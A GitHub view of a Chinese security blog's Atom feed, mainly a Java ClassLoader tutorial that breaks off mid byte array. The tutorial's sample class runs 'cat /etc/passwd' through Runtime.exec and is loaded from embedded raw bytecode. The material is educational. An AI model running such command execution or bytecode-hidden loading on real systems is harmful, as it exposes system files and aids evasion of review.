-
Notifications
You must be signed in to change notification settings - Fork 1
/
atom.xml
583 lines (338 loc) · 436 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Patrilic's blog</title>
<subtitle>不忘初心</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://patrilic.top/"/>
<updated>2020-03-24T12:36:02.090Z</updated>
<id>http://patrilic.top/</id>
<author>
<name>Patrilic</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>Tomorrow</title>
<link href="http://patrilic.top/2099/12/31/Tomorrow/"/>
<id>http://patrilic.top/2099/12/31/Tomorrow/</id>
<published>2099-12-30T16:00:00.000Z</published>
<updated>2020-03-24T12:36:02.090Z</updated>
<content type="html"><![CDATA[<p><img src="/wallpaper/thumb-1920-485164.jpg" alt></p><h5 id="这里有一个秘密"><a href="#这里有一个秘密" class="headerlink" title="这里有一个秘密"></a>这里有一个秘密</h5><figure class="highlight plain"><figcaption><span>engine</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">➜ ~ cat /Users/patrilic/Desktop/Secret.log</span><br><span class="line">cat: /Users/patrilic/Desktop/Secret.log: Permission denied</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p><img src="/wallpaper/thumb-1920-485164.jpg" alt></p>
<h5 id="这里有一个秘密"><a href="#这里有一个秘密" class="headerlink" title="这里有一个秘密"></a>这里有一个秘密</
</summary>
<category term="Diary" scheme="http://patrilic.top/categories/Diary/"/>
</entry>
<entry>
<title>Java ClassLoader</title>
<link href="http://patrilic.top/2020/04/06/Java%20ClassLoader/"/>
<id>http://patrilic.top/2020/04/06/Java ClassLoader/</id>
<published>2020-04-06T15:17:44.000Z</published>
<updated>2020-04-06T15:18:01.426Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-4-06 23:17:44</p></blockquote><p><img src="/wallpaper/silhouette_1.jpg" alt></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>ClassLoader 顾名思义就是类的加载器,用来动态加载JavaClass到JVM中</p><p>简单来说,我们编写的.java文件经过javac编译后转换成java字节代码(.class)文件,而类加载器通过读取这个.class文件,转换成java.lang.Class的一个实例,用实例来表示一个java类。然后通过实例的newInstance()方法可以创建出该类的对象。</p><h2 id="0x01-JVM运行机制"><a href="#0x01-JVM运行机制" class="headerlink" title="0x01 JVM运行机制"></a>0x01 JVM运行机制</h2><p>关于Java虚拟机这篇文章的学习,可以参考这篇文章:<br><a href="https://www.artima.com/insidejvm/ed2/jvm.html" target="_blank" rel="noopener">https://www.artima.com/insidejvm/ed2/jvm.html</a></p><h3 id="JVM的生命周期"><a href="#JVM的生命周期" class="headerlink" title="JVM的生命周期"></a>JVM的生命周期</h3><p>JVM在Java程序开始执行时运行,结束时停止。每一个Java程序都拥有一个单独的JVM进程。</p><p>Java应用启动时,生成一个Runtime实例,当程序完成后,该实例死亡。 如果同时启动多个Java应用,那么就会产生同样数量的Runtime实例,互不干扰。 而拥有main函数的class将作为进程的起点</p><p>main函数作为初始线程起点,可以控制其他任意线程。JVM中的线程分为<strong>守护线程</strong>和<strong>非守护线程</strong></p><h3 id="JVM架构"><a href="#JVM架构" class="headerlink" title="JVM架构"></a>JVM架构</h3><p><img src="/Java ClassLoader.resources/160516A2-6787-4AD3-A79E-1A1D1A53FB5A.png" alt="41b91bc0dc48b0e721adaf0e40af3924"></p><h3 id="类加载子系统"><a href="#类加载子系统" class="headerlink" title="类加载子系统"></a>类加载子系统</h3><p>从上面的图可以看到,Class文件必须要经过<strong>class loader subsystem</strong>才能进入到runtime实例中</p><p>而这里的类加载子系统也称之为类加载器, 而系统提供的类加载器有以下三个:</p><ul><li>BootStrap ClassLoader : 加载Java核心库,使用原生代码实现,不继承<code>java.lang.ClassLoader</code></li><li>Extension ClassLoader : 加载Java扩展库, 默认加载<code>$JAVA_HOME/jre/lib/*.jar</code></li><li>System ClassLoader : 加载Java应用的ClassPath作加载,可通过<code>ClassLoader.getSystemClassLoader()</code>获取,当我们不指定类加载器的情况下,默认使用这个加载器加载类</li></ul><p>当然,我们也可以自定义一个ClassLoader,只需要继承<code>java.lang.ClassLoader</code>即可</p><h3 id="类的加载过程"><a href="#类的加载过程" class="headerlink" title="类的加载过程"></a>类的加载过程</h3><p>JVM将类的加载分为三个步骤:Load, Link, Initialize<br><img src="/Java ClassLoader.resources/686CCE39-8D56-4986-8A03-4046B6756D47.png" alt="daf6b23ab000cac9c3689e06a55bc013"></p><h4 id="Load-装载"><a href="#Load-装载" class="headerlink" title="Load - 装载"></a>Load - 装载</h4><p>装载的过程就是查找和导入Class文件</p><p>负责找到二进制字节码并加载至JVM中,JVM通过类名、类所在的包名、ClassLoader完成类的加载。因此,标识一个被加载了的类:类名 + 包名 + ClassLoader实例ID。</p><h4 id="Link-链接"><a href="#Link-链接" class="headerlink" title="Link - 链接"></a>Link - 链接</h4><p>分为验证, 准备, 解析三个步骤</p><ul><li>验证 - 确保类的加载的正确性</li><li>准备 - 为类的静态变量分配内存,并将其初始化为默认值</li><li>解析 - 把类中的符号引用转换为直接引用</li></ul><h4 id="Initialize-初始化"><a href="#Initialize-初始化" class="headerlink" title="Initialize - 初始化"></a>Initialize - 初始化</h4><p>初始化,为类的静态变量赋予正确的初始值,JVM负责对类进行初始化,主要对类变量进行初始化。在Java中对类变量进行初始值设定有两种方式:</p><ul><li>声明类变量是指定初始值</li><li>使用静态代码块为类变量指定初始值</li></ul><p>类的初始化触发:</p><ol><li>实例化对象的时候</li><li>访问类的静态变量</li><li>调用类的静态方法</li><li>反射(class.forName())</li><li>初始化一个类的子类会先初始化父类</li><li>JVM启动时标明的启动类,即文件名和类名相同的那个类</li></ol><h3 id="双亲委派模型"><a href="#双亲委派模型" class="headerlink" title="双亲委派模型"></a>双亲委派模型</h3><p><img src="/Java ClassLoader.resources/E0210EF8-6CB3-4131-86D8-4FA74F43164E.png" alt="d1b8bb2375c663d4d8d4ee399b811227"></p><p>简单的理解: 就是一个类需要被加载时,类加载器总会把加载委派给父类去加载,一直递归到顶层,也就是说一直是从<code>Bootstrap ClassLoader</code>开始加载,当父类无法加载时,再从子类进行加载。</p><p>双亲委派模型的优点,在加载一些系统类时,比如<code>java.lang.Object</code>, 总会由<code>Bootstrap ClassLoader</code>去<code>%JAVA_HOME%/jre/lib/rt.jar</code>中寻找,保证了使用的Object是正确的,而不会被中间人修改。</p><h3 id="线程上下文类加载器"><a href="#线程上下文类加载器" class="headerlink" title="线程上下文类加载器"></a>线程上下文类加载器</h3><p>关于SPI机制这里就不作赘述了,主要是因为BootStrap ClassLoader必须委托子类去加载提供的服务,例如JDBC的接口</p><p>而线程上下文类加载器就可以解决这个问题,具体方法提供在<code>java.lang.Thread</code></p><p><code>getContextClassLoader()</code>和 <code>setContextClassLoader(ClassLoader cl)</code>用来获取和设置线程的上下文类加载器, 如果没有对线程上下文加载器进行set操作,会自动继承父类的线程上下文加载器</p><h2 id="0x02-ClassLoader"><a href="#0x02-ClassLoader" class="headerlink" title="0x02 ClassLoader"></a>0x02 ClassLoader</h2><p>首先,Java类加载分为显式和隐式, 显式加载就是利用Java反射和ClassLoader直接对类进行加载,例如:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Class.forName(<span class="string">"com.patrilic.ClassLoader.Test"</span>); </span><br><span class="line"><span class="comment">// 默认初始化类方法</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">this</span>.getClass().getClassLoader().loadClass(<span class="string">"com.patrilic.ClassLoader.Test"</span>); </span><br><span class="line"><span class="comment">// 不初始化类方法</span></span><br></pre></td></tr></table></figure></p><p>而隐式加载就是调用<code>Class.Method</code>, 或者new一个新的实例时,也会对类进行加载</p><p>ClassLoader提供的一些与类加载相关的方法</p><table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td>getParent()</td><td>返回该类加载器的父类加载器。</td></tr><tr><td>loadClass(String name)</td><td>加载名称为 name的类,返回的结果是 java.lang.Class类的实例。</td></tr><tr><td>findClass(String name)</td><td>查找名称为 name的类,返回的结果是 java.lang.Class类的实例。</td></tr><tr><td>findLoadedClass(String name)</td><td>查找名称为 name的已经被加载过的类,返回的结果是 java.lang.Class类的实例。</td></tr><tr><td>defineClass(String name, byte[] b, int off, int len)</td><td>把字节数组 b中的内容转换成 Java 类,返回的结果是 java.lang.Class类的实例。这个方法被声明为 final的。</td></tr><tr><td>resolveClass(Class<?> c)</td><td>链接指定的 Java 类。</td></tr></tbody></table><h3 id="自定义ClassLoader加载ByteCode"><a href="#自定义ClassLoader加载ByteCode" class="headerlink" title="自定义ClassLoader加载ByteCode"></a>自定义ClassLoader加载ByteCode</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Test.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.patrilic.classLoader;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.net.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">RunShell</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line">Process p = Runtime.getRuntime().exec(<span class="string">"cat /etc/passwd"</span>);</span><br><span class="line">OutputStream os = p.getOutputStream();</span><br><span class="line">InputStream in = p.getInputStream();</span><br><span class="line">DataInputStream dis = <span class="keyword">new</span> DataInputStream(in);</span><br><span class="line">String disr = dis.readLine();</span><br><span class="line"><span class="keyword">while</span> ( disr != <span class="keyword">null</span> ) {</span><br><span class="line">System.out.println(disr); disr = dis.readLine(); </span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ClassLoaderTest.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.patrilic.ClassLoader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ClassLoaderTest</span> <span class="keyword">extends</span> <span class="title">ClassLoader</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> String testClassName = <span class="string">"com.patrilic.classLoader.Test"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">byte</span>[] code = <span class="keyword">new</span> <span class="keyword">byte</span>[]{-<span class="number">54</span>, -<span class="number">2</span>, -<span class="number">70</span>, -<span class="number">66</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">51</span>, <span class="number">0</span>, <span class="number">70</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">0</span>, <span class="number">30</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">31</span>, <span class="number">0</span>, <span class="number">32</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">33</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">31</span>, <span class="number">0</span>, <span class="number">34</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">35</span>, <span class="number">0</span>, <span class="number">36</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">35</span>, <span class="number">0</span>, <span class="number">37</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">38</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">39</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">40</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">41</span>, <span class="number">0</span>, <span class="number">42</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">43</span>, <span class="number">0</span>, <span class="number">44</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">45</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">46</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">60</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">105</span>, <span class="number">116</span>, <span class="number">62</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">67</span>, <span class="number">111</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">76</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">101</span>, <span class="number">78</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">98</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">84</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">82</span>, <span class="number">117</span>, <span class="number">110</span>, <span class="number">83</span>, <span class="number">104</span>, <span class="number">101</span>, <span class="number">108</span>, <span class="number">108</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">97</span>, <span class="number">99</span>, <span class="number">107</span>, <span class="number">77</span>, <span class="number">97</span>, <span class="number">112</span>, <span class="number">84</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">45</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">47</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">48</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">49</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">38</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">50</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">69</span>, <span class="number">120</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">112</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">110</span>, <span class="number">115</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">51</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">83</span>, <span class="number">111</span>, <span class="number">117</span>, <span class="number">114</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">70</span>, <span class="number">105</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">84</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">46</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">52</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">53</span>, <span class="number">0</span>, <span class="number">54</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">99</span>, <span class="number">97</span>, <span class="number">116</span>, <span class="number">32</span>, <span class="number">47</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">99</span>, <span class="number">47</span>, <span class="number">112</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">119</span>, <span class="number">100</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">55</span>, <span class="number">0</span>, <span class="number">56</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">47</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">57</span>, <span class="number">0</span>, <span class="number">58</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">59</span>, <span class="number">0</span>, <span class="number">60</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">23</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">68</span>, <span class="number">97</span>, <span class="number">116</span>, <span class="number">97</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">61</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">62</span>, <span class="number">0</span>, <span class="number">63</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">64</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">65</span>, <span class="number">0</span>, <span class="number">66</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">67</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">68</span>, <span class="number">0</span>, <span class="number">69</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">29</span>, <span class="number">99</span>, <span class="number">111</span>, <span class="number">109</span>, <span class="number">47</span>, <span class="number">112</span>, <span class="number">97</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">108</span>, <span class="number">105</span>, <span class="number">99</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">76</span>, <span class="number">111</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">47</span>, <span class="number">84</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">79</span>, <span class="number">98</span>, <span class="number">106</span>, <span class="number">101</span>, <span class="number">99</span>, <span class="number">116</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">79</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">79</span>, <span class="number">69</span>, <span class="number">120</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">112</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">110</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">82</span>, <span class="number">117</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">103</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">82</span>, <span class="number">117</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">82</span>, <span class="number">117</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">101</span>, <span class="number">120</span>, <span class="number">101</span>, <span class="number">99</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">39</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">103</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">79</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">79</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">103</span>, <span class="number">101</span>, <span class="number">116</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">23</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">73</span>, <span class="number">110</span>, <span class="number">112</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">76</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span 